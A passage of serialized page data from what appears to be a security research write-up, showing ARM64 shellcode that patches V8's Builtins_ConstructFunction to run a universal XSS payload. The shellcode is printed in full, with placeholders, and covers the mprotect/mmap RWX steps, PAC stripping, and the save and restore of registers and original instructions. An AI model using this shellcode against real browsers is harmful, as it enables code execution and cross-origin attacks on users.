payload",{"type":20,"tag":72,"props":137750,"children":137751},{},[137752,137754],{"type":26,"value":137753},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":20,"tag":119,"props":137755,"children":137757},{"className":137756},[],[137758],{"type":26,"value":137726},{"type":20,"tag":72,"props":137760,"children":137761},{},[137762,137764,137769],{"type":26,"value":137763},"The mmap-ed shellcode then returns to the beginning of ",{"type":20,"tag":119,"props":137765,"children":137767},{"className":137766},[],[137768],{"type":26,"value":137726},{"type":26,"value":137770},", which now proceeds normally",{"type":20,"tag":29,"props":137772,"children":137773},{},[137774],{"type":26,"value":137775},"The ARM64 shellcode implementing this looks as follows:",{"type":20,"tag":305,"props":137777,"children":137781},{"code":137778,"language":137779,"meta":7,"className":137780,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[137782],{"type":20,"tag":119,"props":137783,"children":137784},{"__ignoreMap":7},[137785,137793,137801,137809,137817,137824,137832,137840,137848,137856,137863,137871,137879,137887,137895,137903,137910,137918,137926,137934,137942,137950,137958,137965,137973,137980,137988,137996,138004,138011,138019,138027,138035,138043,138050,138057,138064,138071,138079,138087,138095,138102,138110,138118,138125,138133,138141,138149,138156,138164,138172,138180,138188,138195,138202,138210],{"type":20,"tag":315,"props":137786,"children":137787},{"class":317,"line":318},[137788],{"type":20,"tag":315,"props":137789,"children":137790},{},[137791],{"type":26,"value":137792},"// get return addr to x0\n",{"type":20,"tag":315,"props":137794,"children":137795},{"class":317,"line":356},[137796],{"type":20,"tag":315,"props":137797,"children":137798},{},[137799],{"type":26,"value":137800},"ldr x0, [sp, #0x18]\n",{"type":20,"tag":315,"props":137802,"children":137803},{"class":317,"line":365},[137804],{"type":20,"tag":315,"props":137805,"children":137806},{},[137807],{"type":26,"value":137808},"// strip pac signature from return address\n",{"type":20,"tag":315,"props":137810,"children":137811},{"class":317,"line":374},[137812],{"type":20,"tag":315,"props":137813,"children":137814},{},[137815],{"type":26,"value":137816},".arch armv8.3-a; xpaci x0\n",{"type":20,"tag":315,"props":137818,"children":137819},{"class":317,"line":383},[137820],{"type":20,"tag":315,"props":137821,"children":137822},{"emptyLinePlaceholder":15},[137823],{"type":26,"value":427},{"type":20,"tag":315,"props":137825,"children":137826},{"class":317,"line":407},[137827],{"type":20,"tag":315,"props":137828,"children":137829},{},[137830],{"type":26,"value":137831},"// store x5 = Builtins_ConstructFunction\n",{"type":20,"tag":315,"props":137833,"children":137834},{"class":317,"line":421},[137835],{"type":20,"tag":315,"props":137836,"children":137837},{},[137838],{"type":26,"value":137839},"movz x1, #0x610c\n",{"type":20,"tag":315,"props":137841,"children":137842},{"class":317,"line":430},[137843],{"type":20,"tag":315,"props":137844,"children":137845},{},[137846],{"type":26,"value":137847},"sub x0, x0, x1\n",{"type":20,"tag":315,"props":137849,"children":137850},{"class":317,"line":453},[137851],{"type":20,"tag":315,"props":137852,"children":137853},{},[137854],{"type":26,"value":137855},"mov x5, x0\n",{"type":20,"tag":315,"props":137857,"children":137858},{"class":317,"line":486},[137859],{"type":20,"tag":315,"props":137860,"children":137861},{"emptyLinePlaceholder":15},[137862],{"type":26,"value":427},{"type":20,"tag":315,"props":137864,"children":137865},{"class":317,"line":499},[137866],{"type":20,"tag":315,"props":137867,"children":137868},{},[137869],{"type":26,"value":137870},"// store x4 = page aligned ConstructFunction\n",{"type":20,"tag":315,"props":137872,"children":137873},{"class":317,"line":513},[137874],{"type":20,"tag":315,"props":137875,"children":137876},{},[137877],{"type":26,"value":137878},"movz x1, #0xf000\n",{"type":20,"tag":315,"props":137880,"children":137881},{"class":317,"line":521},[137882],{"type":20,"tag":315,"props":137883,"children":137884},{},[137885],{"type":26,"value":137886},"movk x1, #0xffff, lsl #16\n",{"type":20,"tag":315,"props":137888,"children":137889},{"class":317,"line":552},[137890],{"type":20,"tag":315,"props":137891,"children":137892},{},[137893],{"type":26,"value":137894},"movk x1, #0xffff, lsl #32\n",{"type":20,"tag":315,"props":137896,"children":137897},{"class":317,"line":571},[137898],{"type":20,"tag":315,"props":137899,"children":137900},{},[137901],{"type":26,"value":137902},"and x4, x5, x1\n",{"type":20,"tag":315,"props":137904,"children":137905},{"class":317,"line":2031},[137906],{"type":20,"tag":315,"props":137907,"children":137908},{"emptyLinePlaceholder":15},[137909],{"type":26,"value":427},{"type":20,"tag":315,"props":137911,"children":137912},{"class":317,"line":2053},[137913],{"type":20,"tag":315,"props":137914,"children":137915},{},[137916],{"type":26,"value":137917},"// mprotect page aligned ConstructFunction RWX\n",{"type":20,"tag":315,"props":137919,"children":137920},{"class":317,"line":2061},[137921],{"type":20,"tag":315,"props":137922,"children":137923},{},[137924],{"type":26,"value":137925},"mov x0, x4\n",{"type":20,"tag":315,"props":137927,"children":137928},{"class":317,"line":2070},[137929],{"type":20,"tag":315,"props":137930,"children":137931},{},[137932],{"type":26,"value":137933},"mov x1, #0x2000\n",{"type":20,"tag":315,"props":137935,"children":137936},{"class":317,"line":2139},[137937],{"type":20,"tag":315,"props":137938,"children":137939},{},[137940],{"type":26,"value":137941},"mov x2, #0x7\n",{"type":20,"tag":315,"props":137943,"children":137944},{"class":317,"line":2147},[137945],{"type":20,"tag":315,"props":137946,"children":137947},{},[137948],{"type":26,"value":137949},"mov x8, #226\n",{"type":20,"tag":315,"props":137951,"children":137952},{"class":317,"line":2177},[137953],{"type":20,"tag":315,"props":137954,"children":137955},{},[137956],{"type":26,"value":137957},"svc #0\n",{"type":20,"tag":315,"props":137959,"children":137960},{"class":317,"line":2185},[137961],{"type":20,"tag":315,"props":137962,"children":137963},{"emptyLinePlaceholder":15},[137964],{"type":26,"value":427},{"type":20,"tag":315,"props":137966,"children":137967},{"class":317,"line":2217},[137968],{"type":20,"tag":315,"props":137969,"children":137970},{},[137971],{"type":26,"value":137972},"mov x6, x5\n",{"type":20,"tag":315,"props":137974,"children":137975},{"class":317,"line":2225},[137976],{"type":20,"tag":315,"props":137977,"children":137978},{"emptyLinePlaceholder":15},[137979],{"type":26,"value":427},{"type":20,"tag":315,"props":137981,"children":137982},{"class":317,"line":2285},[137983],{"type":20,"tag":315,"props":137984,"children":137985},{},[137986],{"type":26,"value":137987},"// mmap RWX for jump dest (uxss_sc)\n",{"type":20,"tag":315,"props":137989,"children":137990},{"class":317,"line":7444},[137991],{"type":20,"tag":315,"props":137992,"children":137993},{},[137994],{"type":26,"value":137995},"mov x0, #0\n",{"type":20,"tag":315,"props":137997,"children":137998},{"class":317,"line":7462},[137999],{"type":20,"tag":315,"props":138000,"children":138001},{},[138002],{"type":26,"value":138003},"mov x1, #0x1000\n",{"type":20,"tag":315,"props":138005,"children":138006},{"class":317,"line":7507},[138007],{"type":20,"tag":315,"props":138008,"children":138009},{},[138010],{"type":26,"value":137941},{"type":20,"tag":315,"props":138012,"children":138013},{"class":317,"line":7613},[138014],{"type":20,"tag":315,"props":138015,"children":138016},{},[138017],{"type":26,"value":138018},"mov x3, #34\n",{"type":20,"tag":315,"props":138020,"children":138021},{"class":317,"line":21914},[138022],{"type":20,"tag":315,"props":138023,"children":138024},{},[138025],{"type":26,"value":138026},"mov x4, #-1\n",{"type":20,"tag":315,"props":138028,"children":138029},{"class":317,"line":21949},[138030],{"type":20,"tag":315,"props":138031,"children":138032},{},[138033],{"type":26,"value":138034},"mov x5, #0\n",{"type":20,"tag":315,"props":138036,"children":138037},{"class":317,"line":21957},[138038],{"type":20,"tag":315,"props":138039,"children":138040},{},[138041],{"type":26,"value":138042},"mov x8, #222\n",{"type":20,"tag":315,"props":138044,"children":138045},{"class":317,"line":21965},[138046],{"type":20,"tag":315,"props":138047,"children":138048},{},[138049],{"type":26,"value":137957},{"type":20,"tag":315,"props":138051,"children":138052},{"class":317,"line":21974},[138053],{"type":20,"tag":315,"props":138054,"children":138055},{"emptyLinePlaceholder":15},[138056],{"type":26,"value":427},{"type":20,"tag":315,"props":138058,"children":138059},{"class":317,"line":22016},[138060],{"type":20,"tag":315,"props":138061,"children":138062},{},[138063],{"type":26,"value":137855},{"type":20,"tag":315,"props":138065,"children":138066},{"class":317,"line":22049},[138067],{"type":20,"tag":315,"props":138068,"children":138069},{"emptyLinePlaceholder":15},[138070],{"type":26,"value":427},{"type":20,"tag":315,"props":138072,"children":138073},{"class":317,"line":22057},[138074],{"type":20,"tag":315,"props":138075,"children":138076},{},[138077],{"type":26,"value":138078},"// at this point:\n",{"type":20,"tag":315,"props":138080,"children":138081},{"class":317,"line":22065},[138082],{"type":20,"tag":315,"props":138083,"children":138084},{},[138085],{"type":26,"value":138086},"// x6 = Builtins_ConstructFunction\n",{"type":20,"tag":315,"props":138088,"children":138089},{"class":317,"line":22074},[138090],{"type":20,"tag":315,"props":138091,"children":138092},{},[138093],{"type":26,"value":138094},"// x5 = mmap page for uxss_sc\n",{"type":20,"tag":315,"props":138096,"children":138097},{"class":317,"line":22150},[138098],{"type":20,"tag":315,"props":138099,"children":138100},{"emptyLinePlaceholder":15},[138101],{"type":26,"value":427},{"type":20,"tag":315,"props":138103,"children":138104},{"class":317,"line":22183},[138105],{"type":20,"tag":315,"props":138106,"children":138107},{},[138108],{"type":26,"value":138109},"// write uxss_sc to mmaped rwx page\n",{"type":20,"tag":315,"props":138111,"children":138112},{"class":317,"line":22191},[138113],{"type":20,"tag":315,"props":138114,"children":138115},{},[138116],{"type":26,"value":138117},"{write_sc(uxss_sc, \"x5\")}\n",{"type":20,"tag":315,"props":138119,"children":138120},{"class":317,"line":22199},[138121],{"type":20,"tag":315,"props":138122,"children":138123},{"emptyLinePlaceholder":15},[138124],{"type":26,"value":427},{"type":20,"tag":315,"props":138126,"children":138127},{"class":317,"line":22236},[138128],{"type":20,"tag":315,"props":138129,"children":138130},{},[138131],{"type":26,"value":138132},"// wipe from cache\n",{"type":20,"tag":315,"props":138134,"children":138135},{"class":317,"line":22249},[138136],{"type":20,"tag":315,"props":138137,"children":138138},{},[138139],{"type":26,"value":138140},"mov x0, x5\n",{"type":20,"tag":315,"props":138142,"children":138143},{"class":317,"line":22262},[138144],{"type":20,"tag":315,"props":138145,"children":138146},{},[138147],{"type":26,"value":138148},"{WIPE_CACHE}\n",{"type":20,"tag":315,"props":138150,"children":138151},{"class":317,"line":22275},[138152],{"type":20,"tag":315,"props":138153,"children":138154},{"emptyLinePlaceholder":15},[138155],{"type":26,"value":427},{"type":20,"tag":315,"props":138157,"children":138158},{"class":317,"line":22329},[138159],{"type":20,"tag":315,"props":138160,"children":138161},{},[138162],{"type":26,"value":138163},"// patch Builtins_ConstructFunction\n",{"type":20,"tag":315,"props":138165,"children":138166},{"class":317,"line":22338},[138167],{"type":20,"tag":315,"props":138168,"children":138169},{},[138170],{"type":26,"value":138171},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":20,"tag":315,"props":138173,"children":138174},{"class":317,"line":30696},[138175],{"type":20,"tag":315,"props":138176,"children":138177},{},[138178],{"type":26,"value":138179},"// and add a pointer to uxss_sc just above new instructions\n",{"type":20,"tag":315,"props":138181,"children":138182},{"class":317,"line":30717},[138183],{"type":20,"tag":315,"props":138184,"children":138185},{},[138186],{"type":26,"value":138187},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":20,"tag":315,"props":138189,"children":138190},{"class":317,"line":79209},[138191],{"type":20,"tag":315,"props":138192,"children":138193},{"emptyLinePlaceholder":15},[138194],{"type":26,"value":427},{"type":20,"tag":315,"props":138196,"children":138197},{"class":317,"line":79222},[138198],{"type":20,"tag":315,"props":138199,"children":138200},{},[138201],{"type":26,"value":138132},{"type":20,"tag":315,"props":138203,"children":138204},{"class":317,"line":79230},[138205],{"type":20,"tag":315,"props":138206,"children":138207},{},[138208],{"type":26,"value":138209},"mov x0, x6\n",{"type":20,"tag":315,"props":138211,"children":138212},{"class":317,"line":79238},[138213],{"type":20,"tag":315,"props":138214,"children":138215},{},[138216],{"type":26,"value":138148},{"type":20,"tag":29,"props":138218,"children":138219},{},[138220,138222,138228,138230,138235,138237,138243],{"type":26,"value":138221},"In the snippet above, ",{"type":20,"tag":119,"props":138223,"children":138225},{"className":138224},[],[138226],{"type":26,"value":138227},"new_compile_instrs",{"type":26,"value":138229}," refers to the instructions written to the beginning of ",{"type":20,"tag":119,"props":138231,"children":138233},{"className":138232},[],[138234],{"type":26,"value":137726},{"type":26,"value":138236}," that invoke the ",{"type":20,"tag":119,"props":138238,"children":138240},{"className":138239},[],[138241],{"type":26,"value":138242},"uxss_sc",{"type":26,"value":138244}," mmap-ed shellcode:",{"type":20,"tag":305,"props":138246,"children":138248},{"code":138247,"language":137779,"meta":7,"className":137780,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[138249],{"type":20,"tag":119,"props":138250,"children":138251},{"__ignoreMap":7},[138252,138260,138267,138275,138283,138290,138298,138306,138313,138321,138329,138336,138344],{"type":20,"tag":315,"props":138253,"children":138254},{"class":317,"line":318},[138255],{"type":20,"tag":315,"props":138256,"children":138257},{},[138258],{"type":26,"value":138259},"bti c\n",{"type":20,"tag":315,"props":138261,"children":138262},{"class":317,"line":356},[138263],{"type":20,"tag":315,"props":138264,"children":138265},{"emptyLinePlaceholder":15},[138266],{"type":26,"value":427},{"type":20,"tag":315,"props":138268,"children":138269},{"class":317,"line":365},[138270],{"type":20,"tag":315,"props":138271,"children":138272},{},[138273],{"type":26,"value":138274},"// store registers that will be overwritten\n",{"type":20,"tag":315,"props":138276,"children":138277},{"class":317,"line":374},[138278],{"type":20,"tag":315,"props":138279,"children":138280},{},[138281],{"type":26,"value":138282},"stp x15, lr, [sp, #-16]!\n",{"type":20,"tag":315,"props":138284,"children":138285},{"class":317,"line":383},[138286],{"type":20,"tag":315,"props":138287,"children":138288},{"emptyLinePlaceholder":15},[138289],{"type":26,"value":427},{"type":20,"tag":315,"props":138291,"children":138292},{"class":317,"line":407},[138293],{"type":20,"tag":315,"props":138294,"children":138295},{},[138296],{"type":26,"value":138297},"// get current rip into x15\n",{"type":20,"tag":315,"props":138299,"children":138300},{"class":317,"line":421},[138301],{"type":20,"tag":315,"props":138302,"children":138303},{},[138304],{"type":26,"value":138305},"adr x15, .\n",{"type":20,"tag":315,"props":138307,"children":138308},{"class":317,"line":430},[138309],{"type":20,"tag":315,"props":138310,"children":138311},{"emptyLinePlaceholder":15},[138312],{"type":26,"value":427},{"type":20,"tag":315,"props":138314,"children":138315},{"class":317,"line":453},[138316],{"type":20,"tag":315,"props":138317,"children":138318},{},[138319],{"type":26,"value":138320},"// load the uxss_sc pointer saved just above new instructions\n",{"type":20,"tag":315,"props":138322,"children":138323},{"class":317,"line":486},[138324],{"type":20,"tag":315,"props":138325,"children":138326},{},[138327],{"type":26,"value":138328},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":20,"tag":315,"props":138330,"children":138331},{"class":317,"line":499},[138332],{"type":20,"tag":315,"props":138333,"children":138334},{"emptyLinePlaceholder":15},[138335],{"type":26,"value":427},{"type":20,"tag":315,"props":138337,"children":138338},{"class":317,"line":513},[138339],{"type":20,"tag":315,"props":138340,"children":138341},{},[138342],{"type":26,"value":138343},"// jump to uxss_sc\n",{"type":20,"tag":315,"props":138345,"children":138346},{"class":317,"line":521},[138347],{"type":20,"tag":315,"props":138348,"children":138349},{},[138350],{"type":26,"value":138351},"blr x15\n",{"type":20,"tag":29,"props":138353,"children":138354},{},[138355,138360,138362,138367],{"type":20,"tag":119,"props":138356,"children":138358},{"className":138357},[],[138359],{"type":26,"value":138242},{"type":26,"value":138361}," is the mmap-ed shellcode invoked by the patched ",{"type":20,"tag":119,"props":138363,"children":138365},{"className":138364},[],[138366],{"type":26,"value":137726},{"type":26,"value":138368}," to execute our XSS payload. Its prologue looks like this:",{"type":20,"tag":305,"props":138370,"children":138372},{"code":138371,"language":137779,"meta":7,"className":137780,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[138373],{"type":20,"tag":119,"props":138374,"children":138375},{"__ignoreMap":7},[138376,138383,138390,138398,138406,138414,138422,138430,138438,138446,138454,138462,138470,138478,138486,138494,138502,138510,138518],{"type":20,"tag":315,"props":138377,"children":138378},{"class":317,"line":318},[138379],{"type":20,"tag":315,"props":138380,"children":138381},{},[138382],{"type":26,"value":138259},{"type":20,"tag":315,"props":138384,"children":138385},{"class":317,"line":356},[138386],{"type":20,"tag":315,"props":138387,"children":138388},{"emptyLinePlaceholder":15},[138389],{"type":26,"value":427},{"type":20,"tag":315,"props":138391,"children":138392},{"class":317,"line":365},[138393],{"type":20,"tag":315,"props":138394,"children":138395},{},[138396],{"type":26,"value":138397},"// Save full register context\n",{"type":20,"tag":315,"props":138399,"children":138400},{"class":317,"line":374},[138401],{"type":20,"tag":315,"props":138402,"children":138403},{},[138404],{"type":26,"value":138405},"stp x0, x1, [sp, #-16]!\n",{"type":20,"tag":315,"props":138407,"children":138408},{"class":317,"line":383},[138409],{"type":20,"tag":315,"props":138410,"children":138411},{},[138412],{"type":26,"value":138413},"stp x2, x3, [sp, #-16]!\n",{"type":20,"tag":315,"props":138415,"children":138416},{"class":317,"line":407},[138417],{"type":20,"tag":315,"props":138418,"children":138419},{},[138420],{"type":26,"value":138421},"stp x4, x5, [sp, #-16]!\n",{"type":20,"tag":315,"props":138423,"children":138424},{"class":317,"line":421},[138425],{"type":20,"tag":315,"props":138426,"children":138427},{},[138428],{"type":26,"value":138429},"stp x6, x7, [sp, #-16]!\n",{"type":20,"tag":315,"props":138431,"children":138432},{"class":317,"line":430},[138433],{"type":20,"tag":315,"props":138434,"children":138435},{},[138436],{"type":26,"value":138437},"stp x8, x9, [sp, #-16]!\n",{"type":20,"tag":315,"props":138439,"children":138440},{"class":317,"line":453},[138441],{"type":20,"tag":315,"props":138442,"children":138443},{},[138444],{"type":26,"value":138445},"stp x10, x11, [sp, #-16]!\n",{"type":20,"tag":315,"props":138447,"children":138448},{"class":317,"line":486},[138449],{"type":20,"tag":315,"props":138450,"children":138451},{},[138452],{"type":26,"value":138453},"stp x12, x13, [sp, #-16]!\n",{"type":20,"tag":315,"props":138455,"children":138456},{"class":317,"line":499},[138457],{"type":20,"tag":315,"props":138458,"children":138459},{},[138460],{"type":26,"value":138461},"stp x14, x15, [sp, #-16]!\n",{"type":20,"tag":315,"props":138463,"children":138464},{"class":317,"line":513},[138465],{"type":20,"tag":315,"props":138466,"children":138467},{},[138468],{"type":26,"value":138469},"stp x16, x17, [sp, #-16]!\n",{"type":20,"tag":315,"props":138471,"children":138472},{"class":317,"line":521},[138473],{"type":20,"tag":315,"props":138474,"children":138475},{},[138476],{"type":26,"value":138477},"stp x18, x19, [sp, #-16]!\n",{"type":20,"tag":315,"props":138479,"children":138480},{"class":317,"line":552},[138481],{"type":20,"tag":315,"props":138482,"children":138483},{},[138484],{"type":26,"value":138485},"stp x20, x21, [sp, #-16]!\n",{"type":20,"tag":315,"props":138487,"children":138488},{"class":317,"line":571},[138489],{"type":20,"tag":315,"props":138490,"children":138491},{},[138492],{"type":26,"value":138493},"stp x22, x23, [sp, #-16]!\n",{"type":20,"tag":315,"props":138495,"children":138496},{"class":317,"line":2031},[138497],{"type":20,"tag":315,"props":138498,"children":138499},{},[138500],{"type":26,"value":138501},"stp x24, x25, [sp, #-16]!\n",{"type":20,"tag":315,"props":138503,"children":138504},{"class":317,"line":2053},[138505],{"type":20,"tag":315,"props":138506,"children":138507},{},[138508],{"type":26,"value":138509},"stp x26, x27, [sp, #-16]!\n",{"type":20,"tag":315,"props":138511,"children":138512},{"class":317,"line":2061},[138513],{"type":20,"tag":315,"props":138514,"children":138515},{},[138516],{"type":26,"value":138517},"stp x28, x29, [sp, #-16]!\n",{"type":20,"tag":315,"props":138519,"children":138520},{"class":317,"line":2070},[138521],{"type":20,"tag":315,"props":138522,"children":138523},{},[138524],{"type":26,"value":138525},"str lr, [sp, #-16]!\n",{"type":20,"tag":29,"props":138527,"children":138528},{},[138529],{"type":26,"value":138530},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":20,"tag":29,"props":138532,"children":138533},{},[138534,138536,138541],{"type":26,"value":138535},"The epilogue restores all saved registers, restores the original instructions in ",{"type":20,"tag":119,"props":138537,"children":138539},{"className":138538},[],[138540],{"type":26,"value":137726},{"type":26,"value":138542},", and then returns execution to its beginning:",{"type":20,"tag":305,"props":138544,"children":138546},{"code":138545,"language":137779,"meta":7,"className":137780,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[138547],{"type":20,"tag":119,"props":138548,"children":138549},{"__ignoreMap":7},[138550,138558,138566,138574,138582,138590,138597,138604,138612,138619,138626,138634,138642,138650,138658,138666,138674,138682,138690,138698,138706,138714,138722,138730,138738,138746,138754,138761,138769,138777,138785,138793,138801,138808,138816,138824,138831],{"type":20,"tag":315,"props":138551,"children":138552},{"class":317,"line":318},[138553],{"type":20,"tag":315,"props":138554,"children":138555},{},[138556],{"type":26,"value":138557},"// restore original instructions of Builtins_ConstructFunction\n",{"type":20,"tag":315,"props":138559,"children":138560},{"class":317,"line":356},[138561],{"type":20,"tag":315,"props":138562,"children":138563},{},[138564],{"type":26,"value":138565},"ldr lr, [sp], #16\n",{"type":20,"tag":315,"props":138567,"children":138568},{"class":317,"line":365},[138569],{"type":20,"tag":315,"props":138570,"children":138571},{},[138572],{"type":26,"value":138573},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":20,"tag":315,"props":138575,"children":138576},{"class":317,"line":374},[138577],{"type":20,"tag":315,"props":138578,"children":138579},{},[138580],{"type":26,"value":138581},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":20,"tag":315,"props":138583,"children":138584},{"class":317,"line":383},[138585],{"type":20,"tag":315,"props":138586,"children":138587},{},[138588],{"type":26,"value":138589},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":20,"tag":315,"props":138591,"children":138592},{"class":317,"line":407},[138593],{"type":20,"tag":315,"props":138594,"children":138595},{"emptyLinePlaceholder":15},[138596],{"type":26,"value":427},{"type":20,"tag":315,"props":138598,"children":138599},{"class":317,"line":421},[138600],{"type":20,"tag":315,"props":138601,"children":138602},{},[138603],{"type":26,"value":138132},{"type":20,"tag":315,"props":138605,"children":138606},{"class":317,"line":430},[138607],{"type":20,"tag":315,"props":138608,"children":138609},{},[138610],{"type":26,"value":138611},"mov x0, lr\n",{"type":20,"tag":315,"props":138613,"children":138614},{"class":317,"line":453},[138615],{"type":20,"tag":315,"props":138616,"children":138617},{},[138618],{"type":26,"value":138148},{"type":20,"tag":315,"props":138620,"children":138621},{"class":317,"line":486},[138622],{"type":20,"tag":315,"props":138623,"children":138624},{"emptyLinePlaceholder":15},[138625],{"type":26,"value":427},{"type":20,"tag":315,"props":138627,"children":138628},{"class":317,"line":499},[138629],{"type":20,"tag":315,"props":138630,"children":138631},{},[138632],{"type":26,"value":138633},"// restore original registers\n",{"type":20,"tag":315,"props":138635,"children":138636},{"class":317,"line":513},[138637],{"type":20,"tag":315,"props":138638,"children":138639},{},[138640],{"type":26,"value":138641},"ldp x28, x29, [sp], #16\n",{"type":20,"tag":315,"props":138643,"children":138644},{"class":317,"line":521},[138645],{"type":20,"tag":315,"props":138646,"children":138647},{},[138648],{"type":26,"value":138649},"ldp x26, x27, [sp], #16\n",{"type":20,"tag":315,"props":138651,"children":138652},{"class":317,"line":552},[138653],{"type":20,"tag":315,"props":138654,"children":138655},{},[138656],{"type":26,"value":138657},"ldp x24, x25, [sp], #16\n",{"type":20,"tag":315,"props":138659,"children":138660},{"class":317,"line":571},[138661],{"type":20,"tag":315,"props":138662,"children":138663},{},[138664],{"type":26,"value":138665},"ldp x22, x23, [sp], #16\n",{"type":20,"tag":315,"props":138667,"children":138668},{"class":317,"line":2031},[138669],{"type":20,"tag":315,"props":138670,"children":138671},{},[138672],{"type":26,"value":138673},"ldp x20, x21, [sp], #16\n",{"type":20,"tag":315,"props":138675,"children":138676},{"class":317,"line":2053},[138677],{"type":20,"tag":315,"props":138678,"children":138679},{},[138680],{"type":26,"value":138681},"ldp x18, x19, [sp], #16\n",{"type":20,"tag":315,"props":138683,"children":138684},{"class":317,"line":2061},[138685],{"type":20,"tag":315,"props":138686,"children":138687},{},[138688],{"type":26,"value":138689},"ldp x16, x17, [sp], #16\n",{"type":20,"tag":315,"props":138691,"children":138692},{"class":317,"line":2070},[138693],{"type":20,"tag":315,"props":138694,"children":138695},{},[138696],{"type":26,"value":138697},"ldp x14, x15, [sp], #16\n",{"type":20,"tag":315,"props":138699,"children":138700},{"class":317,"line":2139},[138701],{"type":20,"tag":315,"props":138702,"children":138703},{},[138704],{"type":26,"value":138705},"ldp x12, x13, [sp], #16\n",{"type":20,"tag":315,"props":138707,"children":138708},{"class":317,"line":2147},[138709],{"type":20,"tag":315,"props":138710,"children":138711},{},[138712],{"type":26,"value":138713},"ldp x10, x11, [sp], #16\n",{"type":20,"tag":315,"props":138715,"children":138716},{"class":317,"line":2177},[138717],{"type":20,"tag":315,"props":138718,"children":138719},{},[138720],{"type":26,"value":138721},"ldp x8, x9, [sp], #16\n",{"type":20,"tag":315,"props":138723,"children":138724},{"class":317,"line":2185},[138725],{"type":20,"tag":315,"props":138726,"children":138727},{},[138728],{"type":26,"value":138729},"ldp x6, x7, [sp], #16\n",{"type":20,"tag":315,"props":138731,"children":138732},{"class":317,"line":2217},[138733],{"type":20,"tag":315,"props":138734,"children":138735},{},[138736],{"type":26,"value":138737},"ldp x4, x5, [sp], #16\n",{"type":20,"tag":315,"props":138739,"children":138740},{"class":317,"line":2225},[138741],{"type":20,"tag":315,"props":138742,"children":138743},{},[138744],{"type":26,"value":138745},"ldp x2, x3, [sp], #16\n",{"type":20,"tag":315,"props":138747,"children":138748},{"class":317,"line":2285},[138749],{"type":20,"tag":315,"props":138750,"children":138751},{},[138752],{"type":26,"value":138753},"ldp x0, x1, [sp], #16\n",{"type":20,"tag":315,"props":138755,"children":138756},{"class":317,"line":7444},[138757],{"type":20,"tag":315,"props":138758,"children":138759},{"emptyLinePlaceholder":15},[138760],{"type":26,"value":427},{"type":20,"tag":315,"props":138762,"children":138763},{"class":317,"line":7462},[138764],{"type":20,"tag":315,"props":138765,"children":138766},{},[138767],{"type":26,"value":138768},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":20,"tag":315,"props":138770,"children":138771},{"class":317,"line":7507},[138772],{"type":20,"tag":315,"props":138773,"children":138774},{},[138775],{"type":26,"value":138776},"// it immediately, so we can clobber and use it as a return register.\n",{"type":20,"tag":315,"props":138778,"children":138779},{"class":317,"line":7613},[138780],{"type":20,"tag":315,"props":138781,"children":138782},{},[138783],{"type":26,"value":138784},"// This is done so lr isnt clobbered and ConstructFunction 